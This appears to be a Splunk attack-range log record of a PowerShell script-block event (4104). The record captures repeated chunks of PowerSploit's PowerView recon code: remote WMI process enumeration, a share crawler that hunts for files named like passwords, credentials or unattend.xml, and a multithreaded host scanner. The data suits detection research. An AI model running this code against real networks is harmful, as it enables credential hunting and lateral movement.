windows_event_signature",,,,,,,,"WIN-DC-MHAAG-AT",,,123928,win,2,,,,,,,,,,,,,,,,,,,,,,,,,,,"<_='://../////'><><_='--'_='{----}'/><><><><",,,,,,,,,,,,,,,,,,,,,4104,"XmlWinEventLog:Microsoft-Windows-PowerShell/Operational",XmlWinEventLog,"splunk-server-mhaag-attack-range-3271",,,,,,,,,,,,"track_event_signatures",,,"track_event_signatures",,,,,,,,,,,"'S-1-5-21-2059343465-2300599999-2417073716-500'",,"Microsoft Windows" "'{7B7F4240-5E23-0005-5666-7F7B235ED801}'",,,"Microsoft-Windows-PowerShell/Operational",,,,"win-dc-mhaag-attack-range-270.attackrange.local",,,,,,,4104,"3444ame) { $UserName = '' } if ($RemotePath -and ($RemotePath -ne '')) { $MountedDrive = New-Object PSObject $MountedDrive | Add-Member Noteproperty 'ComputerName' $Computer $MountedDrive | Add-Member Noteproperty 'UserName' $UserName $MountedDrive | Add-Member Noteproperty 'UserSID' $UserSID $MountedDrive | Add-Member Noteproperty 'DriveLetter' $DriveLetter $MountedDrive | Add-Member Noteproperty 'ProviderName' $ProviderName $MountedDrive | Add-Member Noteproperty 'RemotePath' $RemotePath $MountedDrive | Add-Member Noteproperty 'DriveUserName' $DriveUserName $MountedDrive.PSObject.TypeNames.Insert(0, 'PowerView.RegMountedDrive') $MountedDrive } } } catch { Write-Verbose ""[Get-WMIRegMountedDrive] Error: $_"" } } } catch { Write-Warning ""[Get-WMIRegMountedDrive] Error accessing $Computer, likely insufficient permissions or firewall rules on host: $_"" } } } } function Get-WMIProcess { <# .SYNOPSIS Returns a list of processes and their owners on the local or remote machine. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: None .DESCRIPTION Uses Get-WMIObject to enumerate all Win32_process instances on the local or remote machine, including the owners of the particular process. .PARAMETER ComputerName Specifies the hostname to query for cached RDP connections (also accepts IP addresses). Defaults to 'localhost'. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the remote system. .EXAMPLE Get-WMIProcess -ComputerName WINDOWS1 .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-WMIProcess -ComputerName PRIMARY.testlab.local -Credential $Cred .OUTPUTS PowerView.UserProcess A PSCustomObject containing the remote process information. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.UserProcess')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('HostName', 'dnshostname', 'name')] [ValidateNotNullOrEmpty()] [String[]] $ComputerName = 'localhost', [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) PROCESS { ForEach ($Computer in $ComputerName) { try { $WmiArguments = @{ 'ComputerName' = $ComputerName 'Class' = 'Win32_process' } if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential } Get-WMIobject @WmiArguments | ForEach-Object { $Owner = $_.getowner(); $Process = New-Object PSObject $Process | Add-Member Noteproperty 'ComputerName' $Computer $Process | Add-Member Noteproperty 'ProcessName' $_.ProcessName $Process | Add-Member Noteproperty 'ProcessID' $_.ProcessID $Process | Add-Member Noteproperty 'Domain' $Owner.Domain $Process | Add-Member Noteproperty 'User' $Owner.User $Process.PSObject.TypeNames.Insert(0, 'PowerView.UserProcess') $Process } } catch { Write-Verbose ""[Get-WMIProcess] Error enumerating remote processes on '$Computer', access likely denied: $_"" } } } } function Find-InterestingFile { <# .SYNOPSIS Searches for files on the given path that match a series of specified criteria. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection .DESCRIPTION This function recursively searches a given UNC path for files with specific keywords in the name (default of pass, sensitive, secret, admin, login and unattend*.xml). By default, hidden files/folders are included in search results. If -Credential is passed, Add-RemoteConnection/Remove-RemoteConnection is used to temporarily map the remote share. .PARAMETER Path UNC/local path to recursively search. .PARAMETER Include Only return files/folders that match the specified array of strings, i.e. @(*.doc*, *.xls*, *.ppt*) .PARAMETER LastAccessTime Only return files with a LastAccessTime greater than this date value. .PARAMETER LastWriteTime Only return files with a LastWriteTime greater than this date value. .PARAMETER CreationTime Only return files with a CreationTime greater than this date value. .PARAMETER OfficeDocs Switch. Search for office documents (*.doc*, *.xls*, *.ppt*) .PARAMETER FreshEXEs Switch. Find .EXEs accessed within the last 7 days. .PARAMETER ExcludeFolders Switch. Exclude folders from the search results. .PARAMETER ExcludeHidden Switch. Exclude hidden files and folders from the search results. .PARAMETER CheckWriteAccess Switch. Only returns files the current user has write access to. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials to connect to remote systems for file enumeration. .EXAMPLE Find-InterestingFile -Path ""C:\Backup\"" Returns any files on the local path C:\Backup\ that have the default search term set in the title. .EXAMPLE Find-InterestingFile -Path ""\\WINDOWS7\Users\"" -LastAccessTime (Get-Date).AddDays(-7) Returns any files on the remote path \\WINDOWS7\Users\ that have the default search term set in the title and were accessed within the last week. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Find-InterestingFile -Credential $Cred -Path ""\\PRIMARY.testlab.local\C$\Temp\"" .OUTPUTS PowerView.FoundFile #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.FoundFile')] [CmdletBinding(DefaultParameterSetName = 'FileSpecification')] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [ValidateNotNullOrEmpty()] [String[]] $Path = '.\', [Parameter(ParameterSetName = 'FileSpecification')] [ValidateNotNullOrEmpty()] [Alias('SearchTerms', 'Terms')] [String[]] $Include = @('*password*', '*sensitive*', '*admin*', '*login*', '*secret*', 'unattend*.xml', '*.vmdk', '*creds*', '*credential*', '*.config'), [Parameter(ParameterSetName = 'FileSpecification')] [ValidateNotNullOrEmpty()] [DateTime] $LastAccessTime, [Parameter(ParameterSetName = 'FileSpecification')] [ValidateNotNullOrEmpty()] [DateTime] $LastWriteTime, [Parameter(ParameterSetName = 'FileSpecification')] [ValidateNotNullOrEmpty()] [DateTime] $CreationTime, [Parameter(ParameterSetName = 'OfficeDocs')] [Switch] $OfficeDocs, [Parameter(ParameterSetName = 'FreshEXEs')] [Switch] $FreshEXEs, [Parameter(ParameterSetName = 'FileSpecification')] [Switch] $ExcludeFolders, [Parameter(ParameterSetName = 'FileSpecification')] [Switch] $ExcludeHidden, [Switch] $CheckWriteAccess, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $SearcherArguments = @{ 'Recurse' = $True 'ErrorAction' = 'SilentlyContinue' 'Include' = $Include } if ($PSBoundParameters['OfficeDocs']) { $SearcherArguments['Include'] = @('*.doc', '*.docx', '*.xls', '*.xlsx', '*.ppt', '*.pptx') } elseif ($PSBoundParameters['FreshEXEs']) { # find .exe's accessed within the last 7 days $LastAccessTime = (Get-Date).AddDays(-7).ToString('MM/dd/yyyy') $SearcherArguments['Include'] = @('*.exe') } $SearcherArguments['Force'] = -not $PSBoundParameters['ExcludeHidden'] $MappedComputers = @{} function Test-Write { # short helper to check is the current user can write to a file [CmdletBinding()]Param([String]$Path) try { $Filetest = [IO.File]::OpenWrite($Path) $Filetest.Close() $True } catch { $False } } } PROCESS { ForEach ($TargetPath in $Path) { if (($TargetPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) { $HostComputer = (New-Object System.Uri($TargetPath)).Host if (-not $MappedComputers[$HostComputer]) { # map IPC$ to this computer if it's not already Add-RemoteConnection -ComputerName $HostComputer -Credential $Credential $MappedComputers[$HostComputer] = $True } } $SearcherArguments['Path'] = $TargetPath Get-ChildItem @SearcherArguments | ForEach-Object { # check if we're excluding folders $Continue = $True if ($PSBoundParameters['ExcludeFolders'] -and ($_.PSIsContainer)) { Write-Verbose ""Excluding: $($_.FullName)"" $Continue = $False } if ($LastAccessTime -and ($_.LastAccessTime -lt $LastAccessTime)) { $Continue = $False } if ($PSBoundParameters['LastWriteTime'] -and ($_.LastWriteTime -lt $LastWriteTime)) { $Continue = $False } if ($PSBoundParameters['CreationTime'] -and ($_.CreationTime -lt $CreationTime)) { $Continue = $False } if ($PSBoundParameters['CheckWriteAccess'] -and (-not (Test-Write -Path $_.FullName))) { $Continue = $False } if ($Continue) { $FileParams = @{ 'Path' = $_.FullName 'Owner' = $((Get-Acl $_.FullName).Owner) 'LastAccessTime' = $_.LastAccessTime 'LastWriteTime' = $_.LastWriteTime 'CreationTime' = $_.CreationTime 'Length' = $_.Length } $FoundFile = New-Object -TypeName PSObject -Property $FileParams $FoundFile.PSObject.TypeNames.Insert(0, 'PowerView.FoundFile') $FoundFile } } } } END { # remove the IPC$ mappings $MappedComputers.Keys | Remove-RemoteConnection } } ######################################################## # # 'Meta'-functions start below # ######################################################## function New-ThreadedFunction { # Helper used by any threaded host enumeration functions [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] [CmdletBinding()] Param( [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [String[]] $ComputerName, [Parameter(Position = 1, Mandatory = $True)] [System.Management.Automation.ScriptBlock] $ScriptBlock, [Parameter(Position = 2)] [Hashtable] $ScriptParameters, [Int] [ValidateRange(1, 100)] $Threads = 20, [Switch] $NoImports ) BEGIN { # Adapted from: # http://powershell.org/wp/forums/topic/invpke-parallel-need-help-to-clone-the-current-runspace/ $SessionState = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault() # # $SessionState.ApartmentState = [System.Threading.Thread]::CurrentThread.GetApartmentState() # force a single-threaded apartment state (for token-impersonation stuffz) $SessionState.ApartmentState = [System.Threading.ApartmentState]::STA # import the current session state's variables and functions so the chained PowerView # functionality can be used by the threaded blocks if (-not $NoImports) { # grab all the current variables for this runspace $MyVars = Get-Variable -Scope 2 # these Variables are added by Runspace.Open() Method and produce Stop errors if you add them twice $VorbiddenVars = @('?','args','ConsoleFileName','Error','ExecutionContext','false','HOME','Host','input','InputObject','MaximumAliasCount','MaximumDriveCount','MaximumErrorCount','MaximumFunctionCount','MaximumHistoryCount','MaximumVariableCount','MyInvocation','null','PID','PSBoundParameters','PSCommandPath','PSCulture','PSDefaultParameterValues','PSHOME','PSScriptRoot','PSUICulture','PSVersionTable','PWD','ShellId','SynchronizedHash','true') # add Variables from Parent Scope (current runspace) into the InitialSessionState ForEach ($Var in $MyVars) { if ($VorbiddenVars -NotContains $Var.Name) { $SessionState.Variables.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Var.name,$Var.Value,$Var.description,$Var.options,$Var.attributes)) } } # add Functions from current runspace to the InitialSessionState ForEach ($Function in (Get-ChildItem Function:)) { $SessionState.Commands.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateFunctionEntry -ArgumentList $Function.Name, $Function.Definition)) } } # threading adapted from # https://github.com/darkoperator/Posh-SecMod/blob/master/Discovery/Discovery.psm1#L407 # Thanks Carlos! # create a pool of maxThread runspaces $Pool = [RunspaceFactory]::CreateRunspacePool(1, $Threads, $SessionState, $Host) $Pool.Open() # do some trickery to get the proper BeginInvoke() method that allows for an output queue $Method = $Null ForEach ($M in [PowerShell].GetMethods() | Where-Object { $_.Name -eq 'BeginInvoke' }) { $MethodParameters = $M.GetParameters() if (($MethodParameters.Count -eq 2) -and $MethodParameters[0].Name -eq 'input' -and $MethodParameters[1].Name -eq 'output') { $Method = $M.MakeGenericMethod([Object], [Object]) break } } $Jobs = @() $ComputerName = $ComputerName | Where-Object {$_ -and $_.Trim()} Write-Verbose ""[New-ThreadedFunction] Total number of hosts: $($ComputerName.count)"" # partition all hosts from -ComputerName into $Threads number of groups if ($Threads -ge $ComputerName.Length) { $Threads = $ComputerName.Length } $ElementSplitSize = [Int]($ComputerName.Length/$Threads) $ComputerNamePartitioned = @() $Start = 0 $End = $ElementSplitSize for($i = 1; $i -le $Threads; $i++) { $List = New-Object System.Collections.ArrayList if ($i -eq $Threads) { $End = $ComputerName.Length } $List.AddRange($ComputerName[$Start..($End-1)]) $Start += $ElementSplitSize $End += $ElementSplitSize $ComputerNamePartitioned += @(,@($List.ToArray())) } Write-Verbose ""[New-ThreadedFunction] Total number of threads/partitions: $Threads"" ForEach ($ComputerNamePartition in $ComputerNamePartitioned) { # create a ""powershell pipeline runner"" $PowerShell = [PowerShell]::Create() $PowerShell.runspacepool = $Pool # add the script block + arguments with the given computer partition $Null = $PowerShell.AddScript($ScriptBlock).AddParameter('ComputerName', $ComputerNamePartition) if ($ScriptParameters) { ForEach ($Param in $ScriptParameters.GetEnumerator()) { $Null = $PowerShell.AddParameter($Param.Name, $Param.Value) } } # create the output queue $Output = New-Object Management.Automation.PSDataCollection[Object] # kick off execution using the BeginInvok() method that allows queues $Jobs += @{ PS = $PowerShell Output = $Output Result = $Method.Invoke($PowerShell, @($Null, [Management.Automation.PSDataCollection[Object]]$Output)) } } } END { Write-Verbose ""[New-ThreadedFunction] Threads executing"" # continuously loop through each job queue, consuming output as appropriate Do { ForEach ($Job in $Jobs) { $Job.Oute66f2c62-841c-43ba-a30f-4c6c2ffc9eadC:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Recon\PowerView.ps1",,4104,122635,,,,,"'{A0C1853B-5C40-4B15-8766-3CF1C58F985A}'",,,,,,0x0,3,,,,34,44,"'Microsoft-Windows-PowerShell'",15,,,,,,,"C:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Recon\PowerView.ps1",,,"'5388'",,,,,,122635,,,,"e66f2c62-841c-43ba-a30f-4c6c2ffc9ead","ame) { $UserName = '' } if ($RemotePath -and ($RemotePath -ne '')) { $MountedDrive = New-Object PSObject $MountedDrive | Add-Member Noteproperty 'ComputerName' $Computer $MountedDrive | Add-Member Noteproperty 'UserName' $UserName $MountedDrive | Add-Member Noteproperty 'UserSID' $UserSID $MountedDrive | Add-Member Noteproperty 'DriveLetter' $DriveLetter $MountedDrive | Add-Member Noteproperty 'ProviderName' $ProviderName $MountedDrive | Add-Member Noteproperty 'RemotePath' $RemotePath $MountedDrive | Add-Member Noteproperty 'DriveUserName' $DriveUserName $MountedDrive.PSObject.TypeNames.Insert(0, 'PowerView.RegMountedDrive') $MountedDrive } } } catch { Write-Verbose ""[Get-WMIRegMountedDrive] Error: $_"" } } } catch { Write-Warning ""[Get-WMIRegMountedDrive] Error accessing $Computer, likely insufficient permissions or firewall rules on host: $_"" } } } } function Get-WMIProcess { <# .SYNOPSIS Returns a list of processes and their owners on the local or remote machine. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: None .DESCRIPTION Uses Get-WMIObject to enumerate all Win32_process instances on the local or remote machine, including the owners of the particular process. .PARAMETER ComputerName Specifies the hostname to query for cached RDP connections (also accepts IP addresses). Defaults to 'localhost'. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the remote system. .EXAMPLE Get-WMIProcess -ComputerName WINDOWS1 .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-WMIProcess -ComputerName PRIMARY.testlab.local -Credential $Cred .OUTPUTS PowerView.UserProcess A PSCustomObject containing the remote process information. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.UserProcess')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('HostName', 'dnshostname', 'name')] [ValidateNotNullOrEmpty()] [String[]] $ComputerName = 'localhost', [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) PROCESS { ForEach ($Computer in $ComputerName) { try { $WmiArguments = @{ 'ComputerName' = $ComputerName 'Class' = 'Win32_process' } if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential } Get-WMIobject @WmiArguments | ForEach-Object { $Owner = $_.getowner(); $Process = New-Object PSObject $Process | Add-Member Noteproperty 'ComputerName' $Computer $Process | Add-Member Noteproperty 'ProcessName' $_.ProcessName $Process | Add-Member Noteproperty 'ProcessID' $_.ProcessID $Process | Add-Member Noteproperty 'Domain' $Owner.Domain $Process | Add-Member Noteproperty 'User' $Owner.User $Process.PSObject.TypeNames.Insert(0, 'PowerView.UserProcess') $Process } } catch { Write-Verbose ""[Get-WMIProcess] Error enumerating remote processes on '$Computer', access likely denied: $_"" } } } } function Find-InterestingFile { <# .SYNOPSIS Searches for files on the given path that match a series of specified criteria. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection .DESCRIPTION This function recursively searches a given UNC path for files with specific keywords in the name (default of pass, sensitive, secret, admin, login and unattend*.xml). By default, hidden files/folders are included in search results. If -Credential is passed, Add-RemoteConnection/Remove-RemoteConnection is used to temporarily map the remote share. .PARAMETER Path UNC/local path to recursively search. .PARAMETER Include Only return files/folders that match the specified array of strings, i.e. @(*.doc*, *.xls*, *.ppt*) .PARAMETER LastAccessTime Only return files with a LastAccessTime greater than this date value. .PARAMETER LastWriteTime Only return files with a LastWriteTime greater than this date value. .PARAMETER CreationTime Only return files with a CreationTime greater than this date value. .PARAMETER OfficeDocs Switch. Search for office documents (*.doc*, *.xls*, *.ppt*) .PARAMETER FreshEXEs Switch. Find .EXEs accessed within the last 7 days. .PARAMETER ExcludeFolders Switch. Exclude folders from the search results. .PARAMETER ExcludeHidden Switch. Exclude hidden files and folders from the search results. .PARAMETER CheckWriteAccess Switch. Only returns files the current user has write access to. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials to connect to remote systems for file enumeration. .EXAMPLE Find-InterestingFile -Path ""C:\Backup\"" Returns any files on the local path C:\Backup\ that have the default search term set in the title. .EXAMPLE Find-InterestingFile -Path ""\\WINDOWS7\Users\"" -LastAccessTime (Get-Date).AddDays(-7) Returns any files on the remote path \\WINDOWS7\Users\ that have the default search term set in the title and were accessed within the last week. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Find-InterestingFile -Credential $Cred -Path ""\\PRIMARY.testlab.local\C$\Temp\"" .OUTPUTS PowerView.FoundFile #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.FoundFile')] [CmdletBinding(DefaultParameterSetName = 'FileSpecification')] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [ValidateNotNullOrEmpty()] [String[]] $Path = '.\', [Parameter(ParameterSetName = 'FileSpecification')] [ValidateNotNullOrEmpty()] [Alias('SearchTerms', 'Terms')] [String[]] $Include = @('*password*', '*sensitive*', '*admin*', '*login*', '*secret*', 'unattend*.xml', '*.vmdk', '*creds*', '*credential*', '*.config'), [Parameter(ParameterSetName = 'FileSpecification')] [ValidateNotNullOrEmpty()] [DateTime] $LastAccessTime, [Parameter(ParameterSetName = 'FileSpecification')] [ValidateNotNullOrEmpty()] [DateTime] $LastWriteTime, [Parameter(ParameterSetName = 'FileSpecification')] [ValidateNotNullOrEmpty()] [DateTime] $CreationTime, [Parameter(ParameterSetName = 'OfficeDocs')] [Switch] $OfficeDocs, [Parameter(ParameterSetName = 'FreshEXEs')] [Switch] $FreshEXEs, [Parameter(ParameterSetName = 'FileSpecification')] [Switch] $ExcludeFolders, [Parameter(ParameterSetName = 'FileSpecification')] [Switch] $ExcludeHidden, [Switch] $CheckWriteAccess, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $SearcherArguments = @{ 'Recurse' = $True 'ErrorAction' = 'SilentlyContinue' 'Include' = $Include } if ($PSBoundParameters['OfficeDocs']) { $SearcherArguments['Include'] = @('*.doc', '*.docx', '*.xls', '*.xlsx', '*.ppt', '*.pptx') } elseif ($PSBoundParameters['FreshEXEs']) { # find .exe's accessed within the last 7 days $LastAccessTime = (Get-Date).AddDays(-7).ToString('MM/dd/yyyy') $SearcherArguments['Include'] = @('*.exe') } $SearcherArguments['Force'] = -not $PSBoundParameters['ExcludeHidden'] $MappedComputers = @{} function Test-Write { # short helper to check is the current user can write to a file [CmdletBinding()]Param([String]$Path) try { $Filetest = [IO.File]::OpenWrite($Path) $Filetest.Close() $True } catch { $False } } } PROCESS { ForEach ($TargetPath in $Path) { if (($TargetPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) { $HostComputer = (New-Object System.Uri($TargetPath)).Host if (-not $MappedComputers[$HostComputer]) { # map IPC$ to this computer if it's not already Add-RemoteConnection -ComputerName $HostComputer -Credential $Credential $MappedComputers[$HostComputer] = $True } } $SearcherArguments['Path'] = $TargetPath Get-ChildItem @SearcherArguments | ForEach-Object { # check if we're excluding folders $Continue = $True if ($PSBoundParameters['ExcludeFolders'] -and ($_.PSIsContainer)) { Write-Verbose ""Excluding: $($_.FullName)"" $Continue = $False } if ($LastAccessTime -and ($_.LastAccessTime -lt $LastAccessTime)) { $Continue = $False } if ($PSBoundParameters['LastWriteTime'] -and ($_.LastWriteTime -lt $LastWriteTime)) { $Continue = $False } if ($PSBoundParameters['CreationTime'] -and ($_.CreationTime -lt $CreationTime)) { $Continue = $False } if ($PSBoundParameters['CheckWriteAccess'] -and (-not (Test-Write -Path $_.FullName))) { $Continue = $False } if ($Continue) { $FileParams = @{ 'Path' = $_.FullName 'Owner' = $((Get-Acl $_.FullName).Owner) 'LastAccessTime' = $_.LastAccessTime 'LastWriteTime' = $_.LastWriteTime 'CreationTime' = $_.CreationTime 'Length' = $_.Length } $FoundFile = New-Object -TypeName PSObject -Property $FileParams $FoundFile.PSObject.TypeNames.Insert(0, 'PowerView.FoundFile') $FoundFile } } } } END { # remove the IPC$ mappings $MappedComputers.Keys | Remove-RemoteConnection } } ######################################################## # # 'Meta'-functions start below # ######################################################## function New-ThreadedFunction { # Helper used by any threaded host enumeration functions [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] [CmdletBinding()] Param( [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [String[]] $ComputerName, [Parameter(Position = 1, Mandatory = $True)] [System.Management.Automation.ScriptBlock] $ScriptBlock, [Parameter(Position = 2)] [Hashtable] $ScriptParameters, [Int] [ValidateRange(1, 100)] $Threads = 20, [Switch] $NoImports ) BEGIN { # Adapted from: # http://powershell.org/wp/forums/topic/invpke-parallel-need-help-to-clone-the-current-runspace/ $SessionState = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault() # # $SessionState.ApartmentState = [System.Threading.Thread]::CurrentThread.GetApartmentState() # force a single-threaded apartment state (for token-impersonation stuffz) $SessionState.ApartmentState = [System.Threading.ApartmentState]::STA # import the current session state's variables and functions so the chained PowerView # functionality can be used by the threaded blocks if (-not $NoImports) { # grab all the current variables for this runspace $MyVars = Get-Variable -Scope 2 # these Variables are added by Runspace.Open() Method and produce Stop errors if you add them twice $VorbiddenVars = @('?','args','ConsoleFileName','Error','ExecutionContext','false','HOME','Host','input','InputObject','MaximumAliasCount','MaximumDriveCount','MaximumErrorCount','MaximumFunctionCount','MaximumHistoryCount','MaximumVariableCount','MyInvocation','null','PID','PSBoundParameters','PSCommandPath','PSCulture','PSDefaultParameterValues','PSHOME','PSScriptRoot','PSUICulture','PSVersionTable','PWD','ShellId','SynchronizedHash','true') # add Variables from Parent Scope (current runspace) into the InitialSessionState ForEach ($Var in $MyVars) { if ($VorbiddenVars -NotContains $Var.Name) { $SessionState.Variables.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Var.name,$Var.Value,$Var.description,$Var.options,$Var.attributes)) } } # add Functions from current runspace to the InitialSessionState ForEach ($Function in (Get-ChildItem Function:)) { $SessionState.Commands.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateFunctionEntry -ArgumentList $Function.Name, $Function.Definition)) } } # threading adapted from # https://github.com/darkoperator/Posh-SecMod/blob/master/Discovery/Discovery.psm1#L407 # Thanks Carlos! # create a pool of maxThread runspaces $Pool = [RunspaceFactory]::CreateRunspacePool(1, $Threads, $SessionState, $Host) $Pool.Open() # do some trickery to get the proper BeginInvoke() method that allows for an output queue $Method = $Null ForEach ($M in [PowerShell].GetMethods() | Where-Object { $_.Name -eq 'BeginInvoke' }) { $MethodParameters = $M.GetParameters() if (($MethodParameters.Count -eq 2) -and $MethodParameters[0].Name -eq 'input' -and $MethodParameters[1].Name -eq 'output') { $Method = $M.MakeGenericMethod([Object], [Object]) break } } $Jobs = @() $ComputerName = $ComputerName | Where-Object {$_ -and $_.Trim()} Write-Verbose ""[New-ThreadedFunction] Total number of hosts: $($ComputerName.count)"" # partition all hosts from -ComputerName into $Threads number of groups if ($Threads -ge $ComputerName.Length) { $Threads = $ComputerName.Length } $ElementSplitSize = [Int]($ComputerName.Length/$Threads) $ComputerNamePartitioned = @() $Start = 0 $End = $ElementSplitSize for($i = 1; $i -le $Threads; $i++) { $List = New-Object System.Collections.ArrayList if ($i -eq $Threads) { $End = $ComputerName.Length } $List.AddRange($ComputerName[$Start..($End-1)]) $Start += $ElementSplitSize $End += $ElementSplitSize $ComputerNamePartitioned += @(,@($List.ToArray())) } Write-Verbose ""[New-ThreadedFunction] Total number of threads/partitions: $Threads"" ForEach ($ComputerNamePartition in $ComputerNamePartitioned) { # create a ""powershell pipeline runner"" $PowerShell = [PowerShell]::Create() $PowerShell.runspacepool = $Pool # add the script block + arguments with the given computer partition $Null = $PowerShell.AddScript($ScriptBlock).AddParameter('ComputerName', $ComputerNamePartition) if ($ScriptParameters) { ForEach ($Param in $ScriptParameters.GetEnumerator()) { $Null = $PowerShell.AddParameter($Param.Name, $Param.Value) } } # create the output queue $Output = New-Object Management.Automation.PSDataCollection[Object] # kick off execution using the BeginInvok() method that allows queues $Jobs += @{ PS = $PowerShell Output = $Output Result = $Method.Invoke($PowerShell, @($Null, [Management.Automation.PSDataCollection[Object]]$Output)) } } } END { Write-Verbose ""[New-ThreadedFunction] Threads executing"" # continuously loop through each job queue, consuming output as appropriate Do { ForEach ($Job in $Jobs) { $Job.Out",,,,,,,,,,,"'2022-05-02T18:24:44.741639800Z'","4104132150x0122635Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local",,,,,2,,"'5528'",,,"'S-1-5-21-2059343465-2300599999-2417073716-500'",,1,"4104132150x0122635Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local3444ame) { $UserName = '' } if ($RemotePath -and ($RemotePath -ne '')) { $MountedDrive = New-Object PSObject $MountedDrive | Add-Member Noteproperty 'ComputerName' $Computer $MountedDrive | Add-Member Noteproperty 'UserName' $UserName $MountedDrive | Add-Member Noteproperty 'UserSID' $UserSID $MountedDrive | Add-Member Noteproperty 'DriveLetter' $DriveLetter $MountedDrive | Add-Member Noteproperty 'ProviderName' $ProviderName $MountedDrive | Add-Member Noteproperty 'RemotePath' $RemotePath $MountedDrive | Add-Member Noteproperty 'DriveUserName' $DriveUserName $MountedDrive.PSObject.TypeNames.Insert(0, 'PowerView.RegMountedDrive') $MountedDrive } } } catch { Write-Verbose ""[Get-WMIRegMountedDrive] Error: $_"" } } } catch { Write-Warning ""[Get-WMIRegMountedDrive] Error accessing $Computer, likely insufficient permissions or firewall rules on host: $_"" } } } } function Get-WMIProcess { <# .SYNOPSIS Returns a list of processes and their owners on the local or remote machine. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: None .DESCRIPTION Uses Get-WMIObject to enumerate all Win32_process instances on the local or remote machine, including the owners of the particular process. .PARAMETER ComputerName Specifies the hostname to query for cached RDP connections (also accepts IP addresses). Defaults to 'localhost'. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the remote system. .EXAMPLE Get-WMIProcess -ComputerName WINDOWS1 .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-WMIProcess -ComputerName PRIMARY.testlab.local -Credential $Cred .OUTPUTS PowerView.UserProcess A PSCustomObject containing the remote process information. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.UserProcess')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('HostName', 'dnshostname', 'name')] [ValidateNotNullOrEmpty()] [String[]] $ComputerName = 'localhost', [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) PROCESS { ForEach ($Computer in $ComputerName) { try { $WmiArguments = @{ 'ComputerName' = $ComputerName 'Class' = 'Win32_process' } if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential } Get-WMIobject @WmiArguments | ForEach-Object { $Owner = $_.getowner(); $Process = New-Object PSObject $Process | Add-Member Noteproperty 'ComputerName' $Computer $Process | Add-Member Noteproperty 'ProcessName' $_.ProcessName $Process | Add-Member Noteproperty 'ProcessID' $_.ProcessID 